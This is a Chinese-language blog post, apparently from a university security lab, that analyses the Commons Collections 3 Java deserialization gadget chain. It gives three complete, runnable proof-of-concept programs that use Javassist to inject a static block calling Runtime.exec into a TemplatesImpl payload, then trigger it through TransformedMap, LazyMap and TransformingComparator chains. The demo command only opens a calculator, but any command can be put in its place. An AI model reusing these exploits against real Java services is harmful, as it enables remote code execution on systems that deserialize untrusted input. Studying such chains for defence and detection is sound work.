-
前文回顾
-
TemplatesImpl.getTransletInstance()
-
TemplatesImpl.defineTransletClasses()
-
TemplatesImpl.newTransformer()
-
InstantiateTransformer 利用链
-
配合 TransformedMap 利用链完成调用
-
配合 LazyMap 利用链完成调用
-
配合 TransformingComparator 利用链完成调用
-
Ending......
Apache Commons 是 Apache软件基金会 的项目,曾隶属于 Jakarta 项目。Commons 的目的是提供可重用的、开源的 Java 代码。Commons Collections 包为 Java 标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让使用者在开发应用程序的过程中,既保证了性能,同时也能大大简化了代码。
我们在之前的文章中曾说过,Commons Collections 序列化 RCE 漏洞的问题主要出现在 org.apache.commons.collections.Transformer 接口上。在之前的 Commons Collections 利用链分析时,我们主要通过 InvokerTransformer 类中提供的可控反射来调用任意函数,只需要传入方法名、参数类型和参数,即可调用任意函数。此外,InstantiateTransformer 类也可以达到与 InvokerTransformer 方法类似的效果。
Commons Collections 中提供了一个 org.apache.commons.collections.functors.InstantiateTransformer 类,其实现了 Transformer 接口。该类对外公开了一个构造方法重载,可以分别对 this.iParamTypes
和 this.iArgs
赋值:
此外,InstantiateTransformer 所实现的 transform()
方法允许我们通过反射实例化一个对象并且返回。那么此处该如何利用呢?我们先来回顾一下 Yoserial 中的 Commons Collections 2 利用链。
前文回顾
对于 Commons Collections 2 这条链子,ysoserial 引入了 TemplatesImpl 类来承载 static{}
静态块中的攻击载荷。
TemplatesImpl.getTransletInstance()
TemplatesImpl 类提供的 getTransletInstance()
方法中存在一处 newInstance()
实例化操作,如下图所示:
我们知道,在对类进行 newInstance()
实例化操作时,会首先执行类中的无参数构造方法或 static{}
静态块中的内容。如果我们可以控制 _class[_transletIndex]
的值,使其指向我们精心构造的的恶意类,当进行 newInstance()
实例化时将执行我们预先设定的恶意代码。
TemplatesImpl.defineTransletClasses()
要想成功执行 TemplatesImpl.getTransletInstance()
中的 newInstance()
,还需要使 _name
不为 null
。此外还将进入到 defineTransletClasses()
方法,我们跟进该方法:
可以看到,该方法会调用 defineClass()
方法将 _bytecodes[i]
中的字节码转换成类。并且,如果从这个字节码中得到的类是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 类的子类,则将数组索引 i
赋给 _transletIndex
。
TemplatesImpl 中对 _bytecodes
的描述为 “*Contains the actual class definition for the translet class and any auxiliary classes.*”,是一个由 private 修饰的字节码数组:
我们可以通过反射获取 _bytecodes
,并将我们精心构造的恶意类的字节码添加到 _bytecodes
中作为一个元素,当调用 TemplatesImpl.getTransletInstance()
方法时,将由 newInstance()
进行实例化,从而执行恶意代码。
接下来我们需要寻找调用 getTransletInstance()
方法的地方。
TemplatesImpl.newTransformer()
TemplatesImpl 类中提供的 newTransformer()
方法用于获取一个 TransformerImpl 对象,在构建 TransformerImpl 对象时会调用 TemplatesImpl.getTransletInstance()
方法:
在 Commons Collections 2 中,利用先前 InvokerTransformer 类里的可控反射,再借助对 TransformingComparator 和 PriorityQueue 组和利用,我们可以成功调用 TemplatesImpl.newTransformer()
方法。最终构造的利用链如下所示:
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance() -> newInstance()
Runtime.getRuntime().exec()
而在 Commons Collections 3 中,我们依然是通过 TemplatesImpl 类来承载攻击载荷,但是改变了 newTransformer()
方法的调用思路。
InstantiateTransformer 利用链
我们在前文中说过,InstantiateTransformer 类所实现的 transform()
方法允许我们通过反射实例化一个对象并且返回,并且涉及的所有参数均可控:
此外,我们发现 com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 类的构造方法中存在一处 newTransformer()
调用,如下图所示:
如果我们通过 InstantiateTransformer.transform()
方法实例化 TrAXFilter 类,在实例化的过程中,如果我们将 TemplatesImpl 类的对象传入 TrAXFilter 的构造方法,那我们就可以实现前面 TemplatesImpl.newTransformer()
方法的调用了。
至于 InstantiateTransformer.transform()
方法的调用姿势,我们可以参考之前的 InvokerTransformer.transform()
,即配合 ConstantTransformer 和 ChainedTransformer 来实现 InstantiateTransformer.transform()
方法的调用。下面我给出大致的 Demo:
package test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
public class CCOriginal {
public static void main(String[] args) throws Exception {
/*
* 通过 JAVAssist 创建一个名为 evilClass 的类,
* 在该类中添加一个 static{} 静态块,
* 并设置父类为 AbstractTranslet
*/
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("evilClass");
String cmd = "java.lang.Runtime.getRuntime().exec("calc.exe");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
/* 将 evilClass 类转换成字节码 */
byte[] evilClassBytes = cc.toBytecode();
byte[][] evilByteCodes = new byte[][]{evilClassBytes};
/*
* 获取一个 TemplatesImpl 类的实例对象,
* 并通过反射将对象中的 _bytecodes 属性设为恶意类 evilClass 的字节码数组,
* 并保证 _name 属性的值不为 null
*/
TemplatesImpl templatesImpl = new TemplatesImpl();
Field _bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
Field _name = templatesImpl.getClass().getDeclaredField("_name");
_bytecodes.setAccessible(true);
_name.setAccessible(true);
_name.set(templatesImpl, "test");
_bytecodes.set(templatesImpl, evilByteCodes);
/* 通过 InstantiateTransformer 实例化 TrAXFilter 类, 并通过 TrAXFilter 类的构造方法实现 TemplatesImpl.newTransformer() 方法的调用 */
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesImpl}
)
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
//transformerChain.transform("test");
}
}
最终又回到了如何实现自动调用 transformerChain.transform()
方法的问题。在前面的学习中,我们总共挖到了 3 种调用方法:
-
TransformedMap 利用链: TransformedMap.checkSetValue()
-
LazyMap 利用链: LazyMap.get()
-
TransformingComparator 利用链: TransformingComparator.compare()
配合 TransformedMap 利用链完成调用
关于 TransformedMap 利用链的原理还请回顾 《Java 反序列化:Commons Collections Gadget (TransformedMap)》,这里不再赘述。下面我直接给出最终的反序列化 POC:
package test;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections3 {
public static void main(String[] args) throws Exception {
/*
* 通过 JAVAssist 创建一个名为 evilClass 的类,
* 在该类中添加一个 static{} 静态块,
* 并设置父类为 AbstractTranslet
*/
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("evilClass");
String cmd = "java.lang.Runtime.getRuntime().exec("calc.exe");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
/* 将 evilClass 类转换成字节码 */
byte[] evilClassBytes = cc.toBytecode();
byte[][] evilByteCodes = new byte[][]{evilClassBytes};
/*
* 获取一个 TemplatesImpl 类的实例对象,
* 并通过反射将对象中的 _bytecodes 属性设为恶意类 evilClass 的字节码数组,
* 并保证 _name 属性的值不为 null
*/
TemplatesImpl templatesImpl = new TemplatesImpl();
Field _bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
Field _name = templatesImpl.getClass().getDeclaredField("_name");
_bytecodes.setAccessible(true);
_name.setAccessible(true);
_name.set(templatesImpl, "test");
_bytecodes.set(templatesImpl, evilByteCodes);
/* 通过 InstantiateTransformer 实例化 TrAXFilter 类, 并通过 TrAXFilter 类的构造方法实现 TemplatesImpl.newTransformer() 方法的调用 */
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesImpl}
)
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "test");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor confunc = cls.getDeclaredConstructor(Class.class, Map.class);
confunc.setAccessible(true);
InvocationHandler AIHObject = (InvocationHandler) confunc.newInstance(Retention.class, outerMap);
ByteArrayOutputStream b1 = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(b1);
out.writeObject(AIHObject);
out.close();
b1.close();
System.out.println(b1.toString());
ByteArrayInputStream b2 = new ByteArrayInputStream(b1.toByteArray());
ObjectInputStream in = new ObjectInputStream(b2);
in.readObject();
in.close();
b2.close();
}
}
执行 POC 后,将生成序列化数据,对其进行反序列化后虽然会报错,但是也成功执行命令并弹出了计算器,如下图所示:
配合 LazyMap 利用链完成调用
关于 LazyMap 利用链的原理还请回顾 《Java 反序列化:Commons Collections 1 Gadget》,这里不再赘述。下面我直接给出最终的反序列化 POC:
package test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javax.xml.transform.Templates;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import java.io.*;
public class CommonsCollections3 {
public static void main(String[] args) throws Exception {
/*
* 通过 JAVAssist 创建一个名为 evilClass 的类,
* 在该类中添加一个 static{} 静态块,
* 并设置父类为 AbstractTranslet
*/
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("evilClass");
String cmd = "java.lang.Runtime.getRuntime().exec("calc.exe");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
/* 将 evilClass 类转换成字节码 */
byte[] evilClassBytes = cc.toBytecode();
byte[][] evilByteCodes = new byte[][]{evilClassBytes};
/*
* 获取一个 TemplatesImpl 类的实例对象,
* 并通过反射将对象中的 _bytecodes 属性设为恶意类 evilClass 的字节码数组,
* 并保证 _name 属性的值不为 null
*/
TemplatesImpl templatesImpl = new TemplatesImpl();
Field _bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
Field _name = templatesImpl.getClass().getDeclaredField("_name");
_bytecodes.setAccessible(true);
_name.setAccessible(true);
_name.set(templatesImpl, "test");
_bytecodes.set(templatesImpl, evilByteCodes);
/* 通过 InstantiateTransformer 实例化 TrAXFilter 类, 并通过 TrAXFilter 类的构造方法实现 TemplatesImpl.newTransformer() 方法的调用 */
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesImpl}
)
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("key", "value");
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor confunc = cls.getDeclaredConstructor(Class.class, Map.class);
confunc.setAccessible(true);
InvocationHandler AIHObject = (InvocationHandler) confunc.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(outerMap.getClass().getClassLoader(), outerMap.getClass().getInterfaces(), AIHObject);
InvocationHandler AIHObjectFinal = (InvocationHandler) confunc.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream b1 = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(b1);
out.writeObject(AIHObjectFinal);
out.close();
b1.close();
System.out.println(b1.toString());
ByteArrayInputStream b2 = new ByteArrayInputStream(b1.toByteArray());
ObjectInputStream in = new ObjectInputStream(b2);
in.readObject();
in.close();
b2.close();
}
}
执行 POC 后,将生成序列化数据,对其进行反序列化后虽然会报错,但是也成功执行命令并弹出了计算器,如下图所示:
配合 TransformingComparator 利用链完成调用
关于 TransformingComparator 利用链的原理还请回顾 《Java 反序列化:Commons Collections 2 Gadget》,这里不再赘述。下面我直接给出最终的反序列化 POC:
package test;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.PriorityQueue;
public class CommonsCollections3 {
public static void main(String[] args) throws Exception {
/*
* 通过 JAVAssist 创建一个名为 evilClass 的类,
* 在该类中添加一个 static{} 静态块,
* 并设置父类为 AbstractTranslet
*/
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("evilClass");
String cmd = "java.lang.Runtime.getRuntime().exec("calc.exe");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
/* 将 evilClass 类转换成字节码 */
byte[] evilClassBytes = cc.toBytecode();
byte[][] evilByteCodes = new byte[][]{evilClassBytes};
/*
* 获取一个 TemplatesImpl 类的实例对象,
* 并通过反射将对象中的 _bytecodes 属性设为恶意类 evilClass 的字节码数组,
* 并保证 _name 属性的值不为 null
*/
TemplatesImpl templatesImpl = new TemplatesImpl();
Field _bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
Field _name = templatesImpl.getClass().getDeclaredField("_name");
_bytecodes.setAccessible(true);
_name.setAccessible(true);
_name.set(templatesImpl, "test");
_bytecodes.set(templatesImpl, evilByteCodes);
/* 通过 InstantiateTransformer 实例化 TrAXFilter 类, 并通过 TrAXFilter 类的构造方法实现 TemplatesImpl.newTransformer() 方法的调用 */
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesImpl}
)
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(2);
Field comparator = queue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(queue, transformingComparator);
ByteArrayOutputStream b1 = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(b1);
out.writeObject(queue);
out.close();
b1.close();
System.out.println(b1.toString());
ByteArrayInputStream b2 = new ByteArrayInputStream(b1.toByteArray());
ObjectInputStream in = new ObjectInputStream(b2);
in.readObject();
in.close();
b2.close();
}
}
执行 POC 后,将生成序列化数据,对其进行反序列化后虽然会报错,但是也成功执行命令并弹出了计算器,如下图所示:
Ending......
原文始发于微信公众号(山警网络空间安全实验室):Commons Collections 3 Gadget
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论